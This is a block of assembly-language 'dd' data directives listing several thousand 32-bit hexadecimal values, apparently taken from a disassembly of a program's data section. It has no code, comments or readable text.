		dd 2485088Ah, 0E3899311h, 0E2BCF381h, 1724523Dh, 5BDB4620h
		dd 78C3182Dh, 12BBF929h, 58C48E74h, 6E0EF61Ch, 0D71D1A27h
		dd 0E88640FFh, 9C7A5939h, 0CF25C801h, 19B0C730h, 5514E8h
		dd 98B64681h, 0F03AA2Bh, 58507000h, 4BA3F21Ah, 5A540016h
		dd 6F6BAC6Ch, 0CE00C53Ch, 0FAE8CF47h, 0B1E93A4h, 132EBA19h
		dd 6244B400h, 4F28BF65h, 0A0FA8D4h, 0E081E404h,	56B07301h
		dd 7C61F2A2h, 40470097h, 6F96C023h, 540022AFh, 0C31BFB2Fh
		dd 0D14E57h, 0CA9F8EC1h, 0B388D36Eh, 74B7F300h,	54E36DD7h
		dd 84C10028h, 0C04C32C7h, 22004E97h, 24DEDA2Ch,	3C884FE7h
		dd 29309E21h, 4A725448h, 0B8EC9D00h, 0ABF43922h, 96E444CAh
		dd 1A66200h, 0F127787Fh, 838D3E13h, 0C43CDF0Ch,	192CC841h
		dd 2D058852h, 93C64843h, 0E8CB3008h, 52729120h,	7236458h
		dd 989E5F34h, 1CEFD3h, 0D6AFCB21h, 0EEFB4B75h, 495F631Eh
		dd 879B414Fh, 0A3471EC9h, 9A9C818Eh, 0B980B857h, 19D33AAh
		dd 2400F18Fh, 25395A70h, 95D576h, 1C0D2763h, 0A8E9D4Bh
		dd 0C831E574h, 0E309B101h, 0FD280880h, 0B77DBEF4h, 0F74B8200h
		dd 2D9C0F67h, 6A790064h, 0F3937768h, 0A500973Dh, 39B93CBFh
		dd 564E2F8h, 0AE22F547h, 8E94406Eh, 87356855h, 0EDB2E30Ch
		dd 0A47439h, 291B2BC4h,	0C20AF294h, 0B7CF79DEh,	32CA7FD5h
		dd 1743C42Ch, 212EA0C3h, 0E129C0DCh, 6AAF8DFCh,	0C5A8C206h
		dd 6708D242h, 0AA2F21D5h, 10E806C8h, 0EF2A8963h, 0B900AC41h
		dd 354549D4h, 0C828668h, 4D577229h, 9201B429h, 0E6CFC79Ch
		dd 0D6D79105h, 918B6008h, 89CFA07h, 0A037E402h,	40ACB763h
		dd 0C7CAA934h, 0F0E0F5C8h, 2DA8364Ah, 4B427401h, 859B4F79h
		dd 6453FCh, 87F7F228h, 155DC1E6h, 0E10014FEh, 8EFE7816h
		dd 363AACh, 0DBFFE826h,	0DA0FCD01h, 806B8A33h, 1BEAD39Dh
		dd 0F163D7C9h, 834657E1h, 7B0538C1h, 42E3D80Eh,	0F5BC00B8h
		dd 0AF8BEA5Bh, 0E9C093CAh, 5D73299Dh, 0D8330C1Bh, 5C50B7F5h
		dd 2A137E44h, 78B889EFh, 6C344982h, 76521E80h, 448C35A9h
		dd 1F00E6E5h, 0AA41C352h, 12EE2E1Ah, 1A5A1ABh, 50343F24h
		dd 0BDDAEC0Ah, 4FE93314h, 8CCDB830h, 7A8B7E00h,	0D64A4E33h
		dd 0E52903DEh, 0A9644082h, 0ABC872AAh, 0AD509963h, 3E60EFD0h
		dd 502B1541h, 0C779E6h,	0D99C5CF4h, 0AD21DF67h,	0E1005172h
		dd 59B65E14h, 2D9E3A3Ch, 0DFD064A0h, 19417100h,	4C71AE1h
		dd 0A57F02D8h, 0BA1D57E9h, 0A250D082h, 0E466A0A0h, 713A1078h
		dd 0D846006Ah, 2B25C9A3h, 21B100E8h, 989AFC5h, 5C00E1A0h
		dd 0A3873A18h, 13271ADh, 4F53F36Ah, 21B83628h, 17FFD00h
		dd 98D4C2E8h, 1130C48Ch, 6A6CD033h, 0C3518663h,	0D16FE5E4h
		dd 0A7D36002h, 0B105C101h, 0F81F1B5Ch, 0D094F450h, 107D29DEh
		dd 7508C420h, 2044C004h, 0F08DC631h, 448CD26Ah,	8DEA01DFh
		dd 2CBA0D00h, 4E64379Fh, 0EDBE3019h, 5138E821h,	0C0F85892h
		dd 6EE0FCABh, 0D8A8EE3Bh, 0E0A0882Eh, 0F48BABD9h, 86574D40h
		dd 8770CEBAh, 977CA800h, 36C9F44Bh, 24A27F79h, 11EC5EA7h
		dd 9C888010h, 8CB6CFEDh, 11217F60h, 1E69CB0h, 29E0F8E4h
		dd 6242D823h, 9F680F1Ch, 32900077h, 136BDDB9h, 0AA81CC2h
		dd 828C59A0h, 0B73AE888h, 1DEF1468h, 0EBE1B1C0h, 130AE6h
		dd 0F93D8D68h, 0A8746A81h, 1983A900h, 67AFBF0Fh, 905E03B5h
		dd 0AEEAF6D0h, 48D257E1h, 47423A98h, 0AFB46704h, 4298892Ch
		dd 1D3033A0h, 0A2131152h, 80D6884Dh, 0CB5216DDh, 8405D787h
		dd 11B974D5h, 0C01F9808h, 0CFFC9CAFh, 45229E46h, 0A1203E61h
		dd 0C3406AB7h, 739F5B62h, 721DE56h, 11ACB6BEh, 20FC929Ch
		dd 2905CB2Ch, 9D5022B2h, 9A2CAC43h, 0BB6CD0CDh,	471D3D6Fh
		dd 42AC121Dh, 64E8B601h, 35EFD090h, 0CC1CEh, 0B6E50EE2h
		dd 37B903F5h, 0F8141989h, 0BC234B88h, 76E4BF00h, 72EC66B5h
		dd 8DEA0FF2h, 2722DC4h,	8F1D4444h, 112C9D09h, 1D2680D3h
		dd 83D9EA9h, 3FEF7468h,	0B608DB81h, 0ABD0635Fh,	0C3490437h
		dd 80203381h, 0F6DC5A6Ch, 881D48B8h, 36004E4Fh,	0ABE93A22h
		dd 0C191C179h, 0CA03ED8Dh, 0ECBEDC20h, 5E0E0214h, 0D62F3299h
		dd 3B6F8EE0h, 403C2D59h, 0E8C71DCh, 0CFC69CB1h,	298184D1h
		dd 9C991400h, 7838CC87h, 0A25E1688h, 97DAC704h,	7FD7C8D0h
		dd 229CB845h, 0F1CE470h, 0A4C0B88Fh, 8E22D1D0h,	4678B8C4h
		dd 521A02E0h, 3115A212h, 8B8A10F0h, 177C0152h, 210F5063h
		dd 59E982E9h, 60EB3B56h, 0E4BD87FDh, 2CD1509Eh,	0B03CB886h
		dd 12E82C24h, 0BEAB42C4h, 66529846h, 0BCDE5080h, 0C7586701h
		dd 990DCF8Ah, 4490EC70h, 0D7FFD722h, 1B6E9290h,	0E33834F9h
		dd 0E27BF01h, 0DB8022A5h, 7563DCC0h, 0F79A2661h, 973B0EC8h
		dd 0D2C4EF61h, 5D81CCB5h, 0E9487500h, 77E3A536h, 70DC48DAh
		dd 0CC2B6D06h, 0B50058A9h, 5B575C18h, 71398513h, 5A670087h
		dd 0EDBAF40Dh, 0B09904D5h, 868FDDD0h, 0B998A607h, 0E6C12AC9h
		dd 0BAD90F55h, 0E4F1C100h, 5194C500h, 30DDAA74h, 0C468057Bh
		dd 9202920Eh, 0BCC58338h, 0BA60EFE4h, 0D30468C9h, 0A5345B96h
		dd 0EF7E32C0h, 0EAED075Eh, 0DB222B8Eh, 0DA3839h, 6066819Bh
		dd 0A7CF7172h, 6CB09A8Ah, 0C93B6D00h, 0E9B7FF5Eh, 0C7152C75h
		dd 9981507Ch, 20678C29h, 305A14C2h, 9F0F4A2Eh, 0B31F399h
		dd 8081DC9h, 2A63298Bh,	2CE8A0EBh, 0EF19C58Ah, 0D04488D2h
		dd 81AA400h, 364809B7h,	4F2F0140h, 77142C0Dh, 0EF7C6092h
		dd 52C2F622h, 0A5FE04C1h
		dd 5073D00Eh, 8808F2Ch,	0CA0CE411h, 70B29ABh, 0AAB605B3h
		dd 0CBBF60DCh, 2C03078Ah, 6498747Bh, 0A09FFBC1h, 0E2666721h
		dd 0BC814C3Bh, 0AC903125h, 0AC05BDF3h, 60EDFDA7h, 8FF6F8C7h
		dd 5FB94469h, 9A003777h, 8E9CA693h, 382A9F4Ch, 6A011049h
		dd 0D74ADEB1h, 0C1A19869h, 3AC8D111h, 0AE00D80Ch, 9091671Eh
		dd 223E872Eh, 0F54A0FC9h, 0E058E072h, 9C207486h, 49F18004h
		dd 7A80FC96h, 9A3C2406h, 18E0625h, 11D01B4Bh, 60C2380Bh
		dd 12F9DA38h, 0EB70C039h, 0FCDF4C4Fh, 0D5108800h, 0C8C70332h
		dd 749F2E1Dh, 2C806E18h, 34B916DAh, 989C1EE7h, 0C69DB9BCh
		dd 98AD496h, 4E844Ch, 908BAE70h, 0F3B3DB8h, 6EE10B00h
		dd 0BFA67C99h, 0B8C48F32h, 0F8A4E457h, 9BA501DDh, 4F66A94Bh
		dd 0D8E44046h, 0C9308D54h, 136E71F1h, 381E0104h, 0FDCE583h
		dd 2008A51Bh, 34B2348h,	0DBA40C78h, 98D8D86Eh, 1C0EE818h
		dd 0B140EF69h, 0F3E90004h, 0D726CDDFh, 5F905202h, 2C9D1993h
		dd 59C7B8C8h, 0DF30D4BBh, 99BC8h, 516F2C60h, 0B6A072E5h
		dd 0EC61D006h, 81767629h, 918AF5Ch, 38180404h, 0F52CE473h
		dd 8103413Fh, 0F1511EAFh, 81C81FA8h, 0F0675C01h, 9065BE02h
		dd 285A57EAh, 6B05B298h, 0E0F397ABh, 4402FCC2h,	47360044h
		dd 6F57EAAh, 0F700CC64h, 0D0014E4Ah, 0BB01080h,	0D78A636Ah
		dd 0E2195C07h, 944E8F4Bh, 2B639A00h, 8A95E9DFh,	13E70035h
		dd 0BCA7B4B7h, 0CC7CADF8h, 0AF8B9900h, 4F64B174h, 12609067h
		dd 21B519AEh, 71B021CCh, 6B10E840h, 83E8E407h, 0A7C0EDE7h
		dd 4AA49B1Eh, 6F7820AFh, 843CCDC3h, 9EA7804Ah, 0E52A6973h
		dd 707C3CC1h, 6692C500h, 853F77E9h, 4A2588B0h, 916C158Fh
		dd 775380D9h, 383CE789h, 1A80D548h, 0AABE4DE8h,	74912BBDh
		dd 913817A5h, 0D05D80F0h, 0E6922DD8h, 2154B963h, 3B0D80DCh
		dd 0BBFB38Bh, 0FE9D7F14h, 32091520h, 0B27800C4h, 6A4DF647h
		dd 8AC61C46h, 45D18005h, 4386BD07h, 0D829C4FAh,	5712D868h
		dd 0EC987020h, 73AA05B9h, 0C1C359B6h, 2E39A20h,	9E1883C9h
		dd 45660024h, 7B3E1A7Ch, 6309C720h, 9967AB9Bh, 1020DE7Ch
		dd 0EE8A4D7h, 0AB41A110h, 57D8FC23h, 0AFC11905h, 9440C53Ch
		dd 10A9D96h, 5C781C89h,	830400D4h, 0DF2217D5h, 0E100F8A6h
		dd 0AECAD333h, 15299D1h, 2A6428F1h, 0DCECE6C3h,	0BB17AFB3h
		dd 580385D5h, 0B821FA44h, 50943F96h, 0A77856h, 7BCF01C8h
		dd 9534CF9h, 7FE8AA17h,	0C0F46030h, 3D97007Dh, 56E33B15h
		dd 690F26E5h, 0C07ACD6Bh, 473A198Ch, 896C2488h,	0AFA9094Ch
		dd 51F22C6Bh, 71274852h, 0D0781341h, 56C1F6h, 4957C6A9h
		dd 19FE9E59h, 9018E127h, 0F4B112A0h, 4C8CA2D9h,	3760208h
		dd 0E52B3887h, 24108919h, 8400042Eh, 0A7E152C9h, 18F469B9h
		dd 0F9623AE8h, 42028674h, 0E975D13Fh, 99C722Ch,	77762767h
		dd 2480A0A9h, 4F4BAB51h, 13EC103Ch, 0E8428C4Dh,	2453F571h
		dd 103058BAh, 34674F99h, 5284A258h, 30EFE288h, 412CAFDFh
		dd 9360A079h, 1275E0F9h, 4A6ABFDh, 508F2250h, 1FE0744h
		dd 605F8531h, 62842C66h, 57AF3E81h, 0B280CBB5h,	53BC0720h
		dd 2940B9C0h, 0FA3506h,	9674736Bh, 944B014h, 3F80C096h
		dd 0D3CE3E45h, 157A0A31h, 5ECCD856h, 3A00BB46h,	9F8426FBh
		dd 5A00C257h, 7DD5CE14h, 1DFD6722h, 40CA78E1h, 82AAA543h
		dd 0C8948B29h, 0C89C9360h, 2CFE4FCFh, 0F3031A38h, 760BF09Ch
		dd 0F4A5A8B5h, 54949810h, 0C9BC27h, 0CDCF8A6Ah,	0E3F0B979h
		dd 2EC4E94Ch, 1E400809h, 93E842Ah, 0ED939D5Fh, 59231B80h
		dd 4EE8E64Ah, 31501E0Eh, 0C13178DEh, 7CC700C8h,	22A5352Dh
		dd 0E04E23AFh, 73432445h, 0C959ACDCh, 6C008B39h, 0A8DE882h
		dd 2890D7E2h, 106A9204h, 38E0A2FEh, 725D444Ch, 0E04D761Bh
		dd 0A171FB59h, 1C7D60Ah, 0C52C8B39h, 0E0E85D6Fh, 0FFE0B8F3h
		dd 0B4E949C4h, 0A1A1488h, 719594BAh, 34B54018h,	690B1D43h
		dd 0E048A742h, 75D894h,	0F2B31003h, 0E60C23F7h,	0E33D3600h
		dd 2B99F9DEh, 0A56D4C1Dh, 0B88342Ch, 5100FED5h,	18A8D328h
		dd 36274A18h, 6FB644C8h, 0B8788001h, 0E488E612h, 492B2A4Eh
		dd 7BCB449Ch, 1B75E109h, 3AA4182Dh, 4CAAF01Ah, 0E8176050h
		dd 0C04C2D39h, 0D2C0C03Ah, 9125AEF7h, 15A80C17h, 6049E002h
		dd 1296E1Dh, 0AAB60403h, 0A0EFC864h, 8820C0DBh,	37BE2B4Fh
		dd 18BE8258h, 0C339F644h, 20A0B08Fh, 6D1DACABh,	0F994D763h
		dd 0C122EB0h, 0DF0A08h,	3D8227D5h, 98C5A010h, 0B887C87Eh
		dd 0D7A0CBA7h, 0F8C22863h, 555712E9h, 80E04844h, 96C0C0ACh
		dd 12642E49h, 894D8A5Dh, 586C6638h, 27A23C60h, 82B0096Bh
		dd 0E8D216C4h, 0CEC3E0h, 8E1F2682h, 56087E0Bh, 9C4BB1F8h
		dd 28E0083Ch, 1B875D5h,	6369410Dh, 80F3C0F8h, 37ED83D8h
		dd 0A06018DAh, 4C1B9BB3h, 0C12449Fh, 6D540338h,	313E63D3h
		dd 0DCF601E3h, 5EB82905h, 989B6870h, 576E654h, 0EAEBD145h
		dd 43284339h, 1928C17Eh, 0E044C08Eh, 0EFE4266Ah, 65C047A0h
		dd 4A60605Dh, 0AE64959Bh, 3008E9A8h, 0FC76B581h, 9050EC9Ch
		dd 73CA27F6h, 0AFF11F54h, 48665412h, 10485016h,	29857CA7h
		dd 59084A6Ah, 0D881F3Ch, 11918D3h, 1136D184h, 9878EE63h
		dd 25E9D500h, 699EDA38h, 1AD148A1h, 0F5A6D50Ch,	390C9B49h
		dd 3870F2D2h, 317F07D7h, 0C099C4A0h, 3BDC510Ch,	94546450h
		dd 0EBE40514h, 1963F18h, 2C9CB429h, 82FE4DBBh, 81D3DB50h
		dd 0AA45E01Ch, 309C07FCh, 3999825Eh, 5630C4B8h,	8871117Eh
		dd 906301C5h, 12E862C8h, 0B2845110h, 93EBE3C4h,	0D4DB8C0h
		dd 55CA830Ah, 0F93EFCE9h, 6B65D718h, 7BF7ED11h,	9048F22Ah
		dd 0FE920A86h, 203466C5h, 0C1D560DCh, 5939919Bh, 0F2982E8h
		dd 7830A032h, 5CD8947Eh, 0C19ECC65h, 0A905353Ch, 1EC7719h
		dd 444B2187h, 1082E9ECh, 374E0ED5h, 0BA5B8480h,	643A2651h
		dd 809B38A2h, 42F6C772h, 34D88639h, 2A61C55Ch, 711B2040h
		dd 0EA0085E9h, 3829EC43h, 41C35B8Fh, 0E4E944B4h, 7941F1A1h
		dd 491211E4h, 540FC714h, 0B664F07Ch, 81E13770h,	98F8D1BBh
		dd 88419B38h, 4F710981h, 2C04A826h, 0A980900Ch,	46227B66h
		dd 699A28EDh, 5E87210Ch, 0A3C49110h, 0D8C91653h, 6BF8C8EFh
		dd 40094A4Bh, 0F091716Ch, 0A1009388h, 379F4124h, 0A01FD573h
		dd 1F867C6h, 42A32560h,	86890C50h, 0D038BC48h, 694F03B1h
		dd 0D5212D53h, 0B022D188h, 0E6020918h, 64ED61h,	39857A6Dh
		dd 0F5D614Dh, 58C2EF00h, 67D8DCC8h, 62C70048h, 3B791AF6h
		dd 0DE030D46h, 2E5641EEh, 0D5A0C037h, 906A0014h, 584208E2h
		dd 0F40748CDh, 0A40F1972h, 0C7A88D20h, 0F09CE6E6h, 609DF8DDh
		dd 586381EEh, 98BAC9EFh, 0BE08A300h, 0F3CDDCAh,	49FD76A2h
		dd 1F006CFEh, 8342C5E1h, 0A10E2834h, 0F3C3BFh, 8FB95140h
		dd 8886004Fh, 0B65682Fh, 1100E1D8h, 0B07D3273h,	0F7FFB8h
		dd 695A0C0Eh, 0E6262182h, 0D08B4400h, 5B73078Ch, 2D1E3059h
		dd 0EFBF5018h, 9030FB60h, 802C96E1h, 50C08E1Bh,	85477335h
		dd 6761C008h, 952C0CF7h, 80F68F03h, 0A7F5D79Ah,	76FE21ACh
		dd 0A58300E1h, 0BE13F86Eh, 9122EBE0h, 0AE070022h, 40828DAFh
		dd 8E108BDAh, 0ED0FF480h, 17E66332h, 13002831h,	8DC94037h
		dd 1D1BE066h, 184116F4h, 4FF12102h, 6AB6180h, 8FB822EAh
		dd 0E80CC834h, 0F9083E52h
		dd 7DDE20F4h, 94D3D929h, 9192373Eh, 14804CC7h, 0DC54F3A1h
		dd 0F080FC40h, 0D37FF780h, 0C601DBBFh, 36BA3EE4h, 3680F597h
		dd 86CE81Bh, 180337B7h,	705D16C6h, 0CFDDA045h, 1170049h
		dd 589EE2B2h, 7800E093h, 812076ECh, 0E57357h, 0DF23FFE9h
		dd 0BEB23ECCh, 726E8B00h, 65D440A5h, 15F10046h,	0E6BC4FA6h
		dd 0EE075C89h, 2AF98111h, 0C2D058F0h, 0A2D3031Fh, 84EF36E1h
		dd 0FE1DF0D5h, 4245E802h, 0C03DACB2h, 9D6A40h, 89655E6Fh
		dd 0E40A049Ch, 0B001A5EAh, 0AE0232C1h, 8DC863BBh, 75690068h
		dd 0B96ED1CFh, 3100BE94h, 0E339715Dh, 3EC137D2h, 6697A01Ch
		dd 55A10003h, 1F06B292h, 0BCA14A07h, 36A03990h,	3EC327Fh
		dd 0AC73293Ah, 7EE3CE4Ch, 0C50444E0h, 8E2B2D3Dh, 0A052688Eh
		dd 9F7D6430h, 12C7C0Dh,	6EAB8914h, 0C4675D7Ch, 0C2174663h
		dd 0FF0F1B77h, 0B8DC8031h, 180FFD66h, 0E8E33E2Ch, 8F00F5E0h
		dd 0C837584Eh, 2AB5286h, 31BFD625h, 88984908h, 3A7D6788h
		dd 0DAC0F7F3h, 4D000CFFh, 0F2747EE2h, 617CFA87h, 8F97F843h
		dd 0D10FDC6Fh, 0ACE84260h, 67D81F60h, 93DA604Fh, 590621C2h
		dd 7CB0882Ch, 5E3437C8h, 399EE031h, 2A0C95A7h, 197035E7h
		dd 4C5900E4h, 1F08A581h, 4700917Eh, 65469E5Bh, 33C25Fh
		dd 21A48E58h, 0E873F710h, 8F13E401h, 977D0A37h,	0E06260EEh
		dd 0C0F33B42h, 0FFCA680h, 0CEF2A43h, 73E9879h, 0AD9601C4h
		dd 5A9F6E1h, 408E3980h,	34886895h, 0FE2F000h, 71F8C64h
		dd 0E5220066h, 25F7BC93h, 49C03FBBh, 38352386h,	6DF6066Fh
		dd 38DB9C88h, 7504463h,	0EFC1A043h, 0DD31C02Eh,	5082CCA1h
		dd 0AEBFB06h, 600894F8h, 0A2EE21DCh, 9358E7CCh,	0BE7C3998h
		dd 5938B7h, 420FFB8Ah, 0A8EEBE97h, 11CC9E28h, 84035061h
		dd 0FF009914h, 0F2C2CC87h, 9C75FB01h, 4AEEDCFEh, 4E24A8h
		dd 0CC2ADA5Ch, 0FA1F92D0h, 38C0B572h, 4AACF77Dh, 0C93EEEAh
		dd 447E41DBh, 88A0C908h, 0B800947Dh, 2F209545h,	340478Bh
		dd 0A38C2A69h, 5106CBD1h, 17D78F22h, 5F110060h,	0EC1EB1F2h
		dd 0C500D331h, 836C6791h, 1C5BFB21h, 0FDD762h, 0AFC0C32Fh
		dd 3E00F913h, 9EA9A864h, 1A4117h, 71BF6263h, 0A5126B9Fh
		dd 0C9741078h, 26C2A1Eh, 0E98288Bh, 0DF0B2088h,	4D27ADh
		dd 0DAEF5A7Ch, 0DEB744Bh, 89EDD700h, 561F84B8h,	0B18502DDh
		dd 0F3551E22h, 528DC2C0h, 8023163Bh, 0AF67A544h, 0F39249Bh
		dd 1F649ACBh, 0DC04964Ah, 0D3A45C08h, 0D26CD89Ah, 960D0F8h
		dd 0BE893D70h, 0F504A043h, 1ECA0871h, 4D141F35h, 0CCE61D1Ch
		dd 8F0500Ch, 2018D10Dh,	0DA881860h, 0C41DFA94h,	9C19E37Bh
		dd 9B2B599h, 18853E50h,	224C4DF6h, 7831D369h, 955319D2h
		dd 63B51C43h, 9E4A1071h, 505064E5h, 0CD856010h,	408116Ch
		dd 2622D283h, 449EF028h, 0A3C9B166h, 1C375309h,	36244D03h
		dd 82A5C95h, 21320C1Dh,	832D29C3h, 23DC9A68h, 52BC1680h
		dd 569EC050h, 34CB9AEh,	0F91155C4h, 409DEA9Fh, 0CCDB8F70h
		dd 0F63996F1h, 88AB493h, 442FC2Eh, 0A795C3FAh, 451014C9h
		dd 0FF000CE3h, 3C493DDCh, 7301A17Bh, 4126715Ah,	2040B5D7h
		dd 6446E46h, 879CD9F2h,	0F73A1940h, 38483675h, 20C6F859h
		dd 4F188FBEh, 0B4492E12h, 4C1E0023h, 0CBBF52Bh,	950C46B6h
		dd 38CCED44h, 0C50706D7h, 10CBDB11h, 856A2100h,	0F3A632BEh
		dd 0D5A53192h, 711E4069h, 69488FACh, 99005E97h,	0F2177E49h
		dd 1ACC3ACFh, 0DCD2720Fh, 0B07AC447h, 96435463h, 0BEB03F12h
		dd 0DE093040h, 0E802FABCh, 8FE6189h, 0C6C6398Ah, 0CD488CACh
		dd 83FE51CEh, 88C8B160h, 153D405h, 1FAC1640h, 703FC561h
		dd 0D1010CD4h, 64A1EF82h, 2470C103h, 52390CABh,	0A4E9CCE1h
		dd 942C723Ah, 1E8C238Dh, 0E9F102DDh, 0B1D88B95h, 0AB690C96h
		dd 9889996Fh, 0D6248D00h, 977A3F9Dh, 189C90F2h,	28AB9E4Bh
		dd 0D680920Ah, 0EA6AF2D1h, 68C1DF90h, 71A11288h, 8FB400DCh
		dd 5C825224h, 0ADAA260Ch, 0D9B3304Dh, 81D6E169h, 9BEACD08h
		dd 3889DA3Ah, 648055DCh, 9EF0B5F6h, 4634824h, 21DB3B0Ch
		dd 9ACD014Dh, 0C42753Fh, 1AA09492h, 86B440A8h, 8EF5ACA0h
		dd 6A1D30C1h, 4B70C580h, 98B050E1h, 879D329Eh, 0A8949A89h
		dd 33310C0h, 4EE6C9Fh, 5243CDC8h, 7389195h, 0B0A1035Bh
		dd 0A581FF9Ch, 226588B8h, 253962h, 9772829Fh, 8B1F6974h
		dd 0C3406E16h, 8FE4F30Fh, 3BFFFE95h, 6C8955F2h,	2002A979h
		dd 40019363h, 0A442ABF6h, 0C739009Dh, 0C53E3A8Eh, 816C0E92h
		dd 0C326E7CAh, 0ED243E81h, 72D9B8h, 4A9C30BBh, 822FCF52h
		dd 0C6D7B618h, 920FB020h, 0A1660950h, 88251710h, 0D6B80961h
		dd 0D94DC490h, 50CFB8A9h, 0BB025384h, 1A349CE8h, 0D80329F1h
		dd 78DC90C1h, 888CA508h, 43043EB9h, 44968171h, 350C90E1h
		dd 4815444h, 815B0B1Ch,	278FD618h, 29101A30h, 92882029h
		dd 0A1968201h, 87018A4Ch, 0F0605349h, 4EF122h, 9379649Ch
		dd 82AE0E40h, 0DC98A700h, 86164599h, 441090F5h,	0C0E264E4h
		dd 9F180C77h, 1AB1B8C7h, 4229C8BBh, 9BC04C40h, 723CA0B9h
		dd 528890C8h, 0E30E5803h, 909963FEh, 149F184Ah,	0F0BA0F27h
		dd 1FA72E00h, 4C2BA269h, 93809B63h, 0B02060CCh,	0FDAB38E3h
		dd 0CD9260DDh, 3C1FB800h, 6E8889BEh, 47D318F9h,	71CCD7A8h
		dd 85AD833Fh, 0B455F971h, 10BFB00Fh, 4CBD184h, 881AD258h
		dd 0C8015C40h, 0A765E4A8h, 0B16CD400h, 944C3AF1h, 726A2C18h
		dd 376301BAh, 20951544h, 0AA551A38h, 9DACCC84h,	8C93CEF1h
		dd 83C2848h, 80BCC6DBh,	0C8CD5214h, 0F54995A0h,	0AA82001Ch
		dd 0CB30909Fh, 108F6047h, 0CC1D8EF1h, 488D1E26h, 8D41B01Ah
		dd 3AD418C8h, 10BF6E54h, 7520F1AFh, 6499B782h, 8CC2FB28h
		dd 0BB98FE54h, 23197200h, 2B55E7AFh, 46220727h,	0E0F46635h
		dd 7E5DA41Ah, 7CB9E360h, 1EF70852h, 7A75364h, 0C6A8F0CDh
		dd 4AFE2114h, 27C62E00h, 64DFF2ABh, 37A9024h, 4F26A1C1h
		dd 0BBC0F656h, 22772967h, 3D0C4B4Ch, 597580ECh,	5BA160BDh
		dd 0D7890F7h, 9A028784h, 62E1BB30h, 187F7A90h, 0F60809ADh
		dd 64A88B64h, 45B140A6h, 6C5AA08h, 323F86D4h, 8F005094h
		dd 0B40747A5h, 67553A1h, 9E3ADB7Ah, 0F80690B9h,	95E4A78Fh
		dd 1BBA0079h, 693B1197h, 1333EE50h, 3CD08B1h, 9702D521h
		dd 0BBE35E2Fh, 60AC0BC1h, 383FA6E0h, 2BB90032h,	8F966472h
		dd 9E862805h, 55400388h, 16D3608Bh, 0E73BC3A8h,	8EBD4701h
		dd 2E649D5Bh, 0F1D62C0h, 0F3321F0Ah, 35B29900h,	97004EA5h
		dd 762B7C38h, 0A8C280h,	54D7FC06h, 9C70C1B1h, 0E31D27E8h
		dd 78017723h, 0F749FAEEh, 7694C6E0h, 0CD342C98h, 28893E4Eh
		dd 9880732Ah, 435D17Eh,	36267C19h, 0BA0B2B08h, 0BF16D980h
		dd 0B47F7396h, 0BC002A7Ch, 90D07927h, 4A7A14h, 0EE9221F6h
		dd 7372C7F2h, 196C7E18h, 899B0528h, 445B08C6h, 6B447AE0h
		dd 92674409h, 0E9A92284h, 61280650h, 44BE8144h,	4720E845h
		dd 142250C6h, 0EA0344A5h, 44954644h, 22842E18h,	0F65086F7h
		dd 6A448128h, 0EF6D44EAh, 84027744h, 0A1F05932h, 8DFD1036h
		dd 29B92E89h, 0D1A85A07h, 0EA22D067h, 0A70055D2h, 78F76CD0h
		dd 74C08BFh, 968BD8AFh,	427A9099h, 9000C912h, 6746E30Fh
		dd 13DBCA8h, 367263FCh,	609CE492h, 38E21735h, 0B3B06800h
		dd 91AAE3DEh, 0C64F0079h
		dd 8C850A4h, 0DD28882Bh, 0EE00A422h, 6596E87h, 0AF445Bh
		dd 98B2AD7h, 0E758244Fh, 0FE0194FEh, 0F91755FCh, 0B7F0517Dh
		dd 0CDBE2DFh, 0BD087FEAh, 1B000440h, 88A199A5h,	24C024A8h
		dd 7143DC5h, 0C2FF3622h, 9AC0DFBCh, 6C16F364h, 0EB0165A6h
		dd 6B560E86h, 6AEE1080h, 823EA904h, 93272300h, 1B2A29AFh
		dd 0D2760B15h, 0CC015546h, 20364CB2h, 0B1505C44h, 88001374h
		dd 28E8A54h, 8FD247h, 0D56FDA9Ah, 0B3BB6177h, 0D800F9FCh
		dd 0B1BC1DDBh, 1CD39730h, 0C0F446E6h, 2E99E131h, 6F0CB36Dh
		dd 282A1B25h, 0E37A0F53h, 0BBE0FE6Ch, 76877402h, 98282400h
		dd 0ECA0A53Ch, 9DE088h,	0C491A743h, 717345A9h, 0DE235B1Ch
		dd 74E5FA40h, 383CBF0Fh, 600A2E3h, 9AB8D1AAh, 0F800B747h
		dd 9C358E22h, 0CCFC70h,	373ACE38h, 0E2DFD8Ah, 4E00BEF2h
		dd 0C4531777h, 1D9DF37Ch, 0C7508492h, 90824301h, 21958DD0h
		dd 0E11C1F07h, 0AF30AD7Eh, 0B48A70Eh, 0E7333BDBh, 382B0800h
		dd 0E9FC764Bh, 7CCB01Eh, 82BD48C0h, 0C62731h, 5603921h
		dd 8E37B520h, 3EAF5407h, 2AB1623h, 77E2B9F2h, 0FD883363h
		dd 5248EEF3h, 8859000Eh, 2353A00Bh, 0E33F00ADh,	0E9A70598h
		dd 0EA0FD772h, 0A074B737h, 0FEBFCC9Fh, 1F3F1E3Bh, 0A18241F4h
		dd 40530463h, 0B0926588h, 1A0671F6h, 5AD09E59h,	2D4F0018h
		dd 60103E21h, 0D500807Bh, 0CF5870AAh, 1209CE26h, 47A46577h
		dd 0A0C81138h, 7616823Ch, 0FF5A7100h, 94D7F853h, 80E889h
		dd 0F21E151Dh, 0C2461656h, 81AF8C00h, 5290FDB3h, 9C970004h
		dd 0AD3D499Dh, 8A09D8EFh, 53B4AFh, 454DE224h, 0DA7E00C5h
		dd 0A62FD67Dh, 0A9009E47h, 39D1FC92h, 0E478C1h,	2D7E2331h
		dd 6EF58742h, 0E6C86860h, 366371h, 0FC568C79h, 8BC30517h
		dd 803B0400h, 46663EE2h, 0F11D0770h, 60832550h,	33FD4D5Dh
		dd 1E00A7FEh, 0D3C0E534h, 0BF2DB0h, 9D01F16Bh, 0BC99E32Eh
		dd 6317A04h, 0C8C00D1Bh, 0E034992h, 263B105Ch, 7727FA20h
		dd 0E170554Dh, 6E80C200h, 0A63CB563h, 5A650029h, 0E887C662h
		dd 10003D91h, 0B7C4047Fh, 1D60EDF4h, 0BE8C5B09h, 36D9AAEh
		dd 0B339F724h, 2CAAC0D0h, 52317514h, 143800B4h,	0BF3D3413h
		dd 5AEE1E68h, 426EC097h, 98E18875h, 0E8DA761Ch,	2D113640h
		dd 0B59BB8h, 25E2EC28h,	1F27A2AFh, 0B6D3930Ah, 0BB00AC77h
		dd 0B35DBC9h, 0CBC80E5Eh, 407F69D7h, 333686E0h,	0A577CC9Eh
		dd 0D3B45A00h, 0A06330FFh, 0F1FEB8h, 0DC381BBDh, 5B69D868h
		dd 0BC808100h, 3E2B52C0h, 0A6F00396h, 0F7444798h, 3A83EC90h
